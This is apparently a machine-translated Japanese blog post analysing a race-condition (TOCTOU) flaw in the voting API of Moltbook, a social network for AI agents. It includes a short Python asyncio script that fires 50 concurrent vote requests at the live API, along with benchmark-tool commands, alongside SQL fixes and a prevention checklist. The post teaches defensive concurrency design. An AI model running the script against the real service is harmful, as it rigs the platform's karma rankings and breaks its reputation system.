Moltbook API Race Condition脆弱性分析
AIエージェントソーシャルネットワークMoltbookの投票システムで発見されたRace Condition脆弱性とその影響に関する技術的分析
この記事はAIによって韓国語から機械翻訳されています。原文と表現が異なる場合があります。
原文(韓国語)を読む概要
最近、AIエージェントが活動するソーシャルネットワークMoltbookで興味深い脆弱性が発見されました。この脆弱性は、プラットフォームの中核機能であるKarma(投票)システムに存在するRace Conditionで、悪用すると無制限の投票が可能になります。
⚠️ 免責事項: この記事は教育目的で作成されました。実際のシステムへの無許可攻撃は違法です。
脆弱性の詳細
問題点
Moltbook APIは、ユーザーが特定の投稿に投票したかどうかを確認する際にデータベースロックを使用しません。これにより、次のようなRace Conditionが発生します:
시간 →
요청 1: [투표 여부 확인] → "아직 안 함" → [투표 처리] → ✓
요청 2: [투표 여부 확인] → "아직 안 함" → [투표 처리] → ✓
요청 3: [투표 여부 확인] → "아직 안 함" → [투표 처리] → ✓
↑
동시에 50개 요청을 보내면
모든 요청이 "아직 투표 안 함"으로 판단攻撃シナリオ
import asyncio
import aiohttp
async def vote(session, post_id, token):
"""단일 투표 요청"""
async with session.post(
f"https://api.moltbook.com/posts/{post_id}/vote",
headers={"Authorization": f"Bearer {token}"}
) as response:
return response.status
async def exploit(post_id, token, count=50):
"""동시 다중 투표 공격"""
async with aiohttp.ClientSession() as session:
tasks = [vote(session, post_id, token) for _ in range(count)]
results = await asyncio.gather(*tasks)
success = sum(1 for r in results if r == 200)
print(f"성공한 투표: {success}/{count}")
# 실행: asyncio.run(exploit("post-uuid", "user-token"))50件の同時リクエストを送信すると、サーバーが各リクエストの投票の有無を確認する時点で、まだ他のリクエストの投票がコミットされていない状態であるため、すべてのリクエストが成功します。
技術的分析
なぜ発生するのか?
この脆弱性は、典型的なTOCTOU (Time-of-Check to Time-of-Use) 問題です:
- Check: ユーザーがすでに投票したか確認
- Use: 投票記録挿入
この2つのステップの間に他のトランザクションが割り込むことができる"window"が存在します。
-- 취약한 코드 (의사 코드)
BEGIN TRANSACTION;
-- Step 1: Check (락 없음)
SELECT COUNT(*) FROM votes
WHERE user_id = ? AND post_id = ?;
-- 여기서 다른 트랜잭션이 끼어들 수 있음!
-- Step 2: Use
IF count == 0 THEN
INSERT INTO votes (user_id, post_id) VALUES (?, ?);
END IF;
COMMIT;正しい実装
-- 해결책 1: SELECT FOR UPDATE (비관적 락)
BEGIN TRANSACTION;
SELECT COUNT(*) FROM votes
WHERE user_id = ? AND post_id = ?
FOR UPDATE; -- 행 락 획득
IF count == 0 THEN
INSERT INTO votes (user_id, post_id) VALUES (?, ?);
END IF;
COMMIT;-- 해결책 2: UNIQUE 제약조건 + UPSERT
CREATE UNIQUE INDEX idx_votes_unique
ON votes (user_id, post_id);
-- 중복 시 자동 무시
INSERT INTO votes (user_id, post_id) VALUES (?, ?)
ON CONFLICT DO NOTHING;影響
実際の被害
この脆弱性により:
- Karmaシステム無効化: 投票数を任意に操作可能
- 順位操作: "Top Agents"ランキングが人気ではなく攻撃頻度に比例
- 信頼度低下: プラットフォームの中核的価値(エージェントの評判)が無意味になる
発見経緯
この脆弱性はMoltbookユーザー@CircuitDreamerが発見し、プラットフォームに公開しました。元の投稿は現在削除された状態です。
一般化された教訓
Race Condition防止チェックリスト
-
データベースレベル
FOR UPDATE/FOR SHAREロックを使用- 適切な分離レベル設定 (SERIALIZABLE)
- UNIQUE制約活用
-
アプリケーションレベル
- 分散ロック (Redis, ZooKeeper)
- Optimistic Locking (バージョン番号)
- Idempotency Keyパターン
-
API設計
- Rate Limiting
- リクエスト重複除去 (Deduplication)
- 冪等性(Idempotency)保証
テスト方法
Race Conditionは一般的なテストでは発見しにくいです。次のツールが役立ちます:
# 1. Apache Bench로 동시 요청
ab -n 100 -c 50 -H "Authorization: Bearer $TOKEN" \
-T "application/json" \
https://api.example.com/vote
# 2. hey (Go 기반 벤치마크 도구)
hey -n 100 -c 50 -H "Authorization: Bearer $TOKEN" \
https://api.example.com/vote
# 3. Python asyncio 스크립트 (위 예제 참고)結論
Moltbookのこの脆弱性は、Webアプリケーションセキュリティにおける並行性問題の重要性を改めて思い出させてくれます。
特にAIエージェントが使用するAPIは、一般ユーザーよりもはるかに速い速度でリクエストを生成できるため、Race Conditionにさらに脆弱です。APIを設計する際は、必ず並行性シナリオを考慮する必要があります。
コメント